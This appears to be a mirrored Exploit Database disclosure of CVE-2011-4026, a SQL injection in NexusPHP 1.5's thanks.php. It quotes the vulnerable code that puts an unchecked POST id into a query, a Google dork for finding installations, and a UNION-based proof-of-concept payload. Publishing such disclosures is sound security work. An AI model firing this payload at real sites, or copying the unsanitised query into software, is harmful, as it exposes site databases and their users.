NexusPHP 1.5 – SQL Injection

• Exploit Database
• 18 阅读

• 作者： flyh4t
  日期： 2011-10-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17946/

• # Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability
  # Google Dork: intitle:nexusphp
  # Date: 2011-10-08
  # Author: flyh4t
  # Software Link: http://sourceforge.net/projects/nexusphp/
  # Version: nexusphp.v1.5
  # Tested on: linux+apache
  # CVE : CVE-2011-4026
  
  
  Nexusphp is BitTorrent private tracker scripts written in PHP 
  The codes is here http://sourceforge.net/projects/nexusphp/
  There is a sql injectiong Vulnerability in thanks.php.
   
  -----------------------vul code-------------------
  //thanks.php
  if ($_GET['id'])
   stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!");
  $userid = $CURUSER["id"];
  $torrentid = $_POST["id"];
  $tsql = sql_query("SELECT owner FROM torrents where id=$torrentid");
  $arr = mysql_fetch_array($tsql);
  -----------------------vul code end-------------------
   
   $_POST["id"] is not checked, lead a sql injection Vulnerability
  
  -----------------------exploit-------------------
  
  _POST[id] : -1 union select version()>4/*
  
  -----------------------exploit end -------------------